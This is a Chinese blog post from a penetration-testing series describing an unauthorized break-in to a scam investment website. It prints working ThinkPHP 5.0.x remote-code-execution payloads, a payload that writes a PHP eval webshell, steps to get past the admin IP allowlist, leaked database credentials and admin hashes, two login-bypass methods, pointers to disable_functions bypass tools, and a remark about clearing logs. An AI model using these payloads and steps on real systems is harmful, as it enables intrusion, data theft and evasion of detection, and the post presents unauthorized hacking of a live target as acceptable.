【渗透实战系列】20|一次理财杀猪盘渗透测试案例

  • A+
所属分类:安全文章

0x01 前言

微信群里一女装大佬给我私发了一个杀猪盘,说她朋友在这个平台上被骗了4W+,求助“日站”

【渗透实战系列】20|一次理财杀猪盘渗透测试案例



随便注册了个用户进去看了下,界面大致如下,应该属于投资理财类杀猪盘,就是通过各种诱导方式让受害者去他们的平台理财。

比如说什么稳赚不赔,赔了自掏腰包赔偿等等,有的受害者就会先小额充值试试,前期肯定会让你赚(后台控制),也能提现,等你大额充值时他们就开始“杀猪”了。
【渗透实战系列】20|一次理财杀猪盘渗透测试案例


0x02 ThinkPHP Getshell

她发过来的是个二维码,通过识别这个二维码得到要测试的目标网址,原打算通过大小写来简单判断目标系统的,结果发现输入一个不存在的路径则报错了,通过报错信息得知这套程序为ThinkPHP V5.0.10框架,这个版本存在有RCE漏洞。
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

通过@Y4er老哥博客中找到ThinkPHP V5.0.10这个版本的可用Payload如下,Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/
http://php.local/thinkphp5.0.5/public/index.php?s=indexpost_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13POST /?s=index/indexs=phpinfo()&_method=__construct&method=&filter[]=assert
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

不过在测试中发现exec()、passthru()、system()、shell_exec()等命令执行函数被限制了,猜测应该是用宝塔搭建的,默认就禁止了这些常见危险函数,所以暂时没办法直接反弹shell。
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

既然这样,那么我们就先进行Getshell,通过执行以下Payload写入PHP一句话木马,提示:Use of undefined constant __construct - assumed '__construct',但其实文件已经写进去了。
s=file_put_contents('1.php','<?php @eval($_POST[cmd]);')&_method=__construct&method=&filter[]=assert
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

如果在使用中国菜刀连接时出现“链接被重置”或“超时”等情况,这时我们可以先在POST下验证这个一句话木马是否正常,只要能够获取phpinfo基本就没问题了,或者换几个代理节点试试。
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

0x03 后台白名单IP限制

访问后台地址时出现:非法IP访问:58.**.***.122,原以为管理员是通过X-Forwarded-ForUser-Agent来限制访问后台的,但在经过测试后发现都不是的,后台这里卡了我好一阵!
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

最终我们在config.php文件中发现是以白名单的方式来限制我们访问后台的,大致看了下管理员设置的白名单IP地址(香港、越南、菲律宾、法国),基本可以确定为代理,通过Web日志文件确定确实如此,所以这里我们只需要将我们本地/代理IP地址添加进去后即可访问后台。
// 默认模块名'default_module'         => 'home',// 禁止访问模块'deny_module_list'       => ['common'],//设置某些IP可以访问模块'allow_module_ip'        =>['admin' => ['103.209.102.145','130.105.248.4','43.243.95.241','175.176.8.174','118.143.235.124','43.243.95.249','130.105.179.66','108.162.229.68','43.243.95.204','103.19.165.6','175.158.200.177','175.176.15.145','210.4.101.2','203.177.230.194','45.119.203.90']],// 默认控制器名'default_controller'     => 'Index',// 默认操作名'default_action'         => 'index',// 默认验证器'default_validate'       => '',// 默认的空控制器名'empty_controller'       => 'Error',// 操作方法后缀'action_suffix'          => '',// 自动搜索控制器'controller_auto_search' => false,
【渗透实战系列】20|一次理财杀猪盘渗透测试案例
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

接着我们在/www/wwwroot/aljex/config/database.php文件中找到当前数据库用户密码,因为这个网站是由宝塔搭建的,所以密码都是随机生成的。
// 数据库类型'type'            => 'mysql',// 服务器地址'hostname'        => "127.0.0.1",// 数据库名'database'        => "alj",// 用户名'username'        => "alj",// 密码'password'        =>"wM5t4T***iTX32Mi",// 端口'hostport'        => "3306",

【渗透实战系列】20|一次理财杀猪盘渗透测试案例


使用刚找到的数据库用户密码在中国菜刀或phpmyadmin连接到alj数据库,然后在dl_user表中找到网站后台管理员的用户密码,加密方式为MD5,但是都解密不了。
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

注:前边我在database.php文件中没有注意看数据库表前缀,一眼看去以为txzh_admin是管理员表,还一直在找它的解密方式,经朋友@久久久提醒才发现找错管理员表了,在这个表中可以看到admin是被“别人”改过的。
agent  |  $2y$10$b5bRaCojDtS4j6moFTSUv.t/bESHmsreyK7IDEBud.q9k1XvbfMQmuser   |  $2y$10$eA5sl1MzHc5H3aZHkEWur.DDiKDKJw6YAC/C8SyXmh4868rzZketuadmin  |  e10adc3949ba59abbe56e057f20f883e
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

目前管理员密文无法解密,那么又该如何进入后台呢?这里有两个思路,1、直接替换管理员的MD5密文,2、修改User.php文件中的检验登入代码,将判断密码中!删掉即可,输入用户admin,密码随意就可以直接登录后台了。

/www/wwwroot/aljex/app/admin/model/User.php:
    //检验登入    public function checkLogin($username,$password){        $rs = $this->get(['username' => $username]);
session('info',$rs); if(!$rs){ $this->error='用户不存在或已被禁用!'; return false; }else{ if($rs['password']!== md5($password)){ $this->error='用户名或密码错误!'; return true; } } ...SNIP... }

/www/wwwroot/aljex/app/admin/controller/Login.php:

    public function login(Request $request){        $username= $request->post('username');//获取用户名        $password= $request->post('password');//获取密码        $user = new User();        //验证登入        if(!$user->checkLogin($username,$password)){            $this->error($user->getError());
} //记录日志 $operation_obj = new NetOperation(); $operation_obj->writeLog();
$this->success('登录成功!', url('Index/index')); }
【渗透实战系列】20|一次理财杀猪盘渗透测试案例
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

0x04 绕过disable_functions

宝塔默认限制了以下危险函数,这里我们可以尝试使用以下3个项目来绕过,由于putenv()函数没有被限制,所以最终可以通过LD_PRELOAD & putenv()绕过disable_functions执行系统命令。
  • https://github.com/mm0r1/exploits/

  • https://github.com/l3m0n/Bypass_Disable_functions_Shell

  • https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
【渗透实战系列】20|一次理财杀猪盘渗透测试案例

能执行系统命令后就可以继续进行后续提权、打包程序和数据了,由于个人技术水平有限,对Linux提权不太熟悉,对这类程序数据也没啥兴趣,简单清理了下日志信息,所以也就到此结束了吧!




推荐阅读:



渗透实战系列


【渗透实战系列】20-渗透直播网站

【渗透实战系列】19-杀猪盘渗透测试

【渗透实战系列】18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙(文末附【渗透实战系列】其他文章链接)

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

长按-识别-关注

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

Hacking黑白红

一个专注信息安全技术的学习平台

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

点分享

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

点收藏

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

点点赞

【渗透实战系列】20|一次理财杀猪盘渗透测试案例

点在看

本文始发于微信公众号(Hacking黑白红):【渗透实战系列】20|一次理财杀猪盘渗透测试案例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: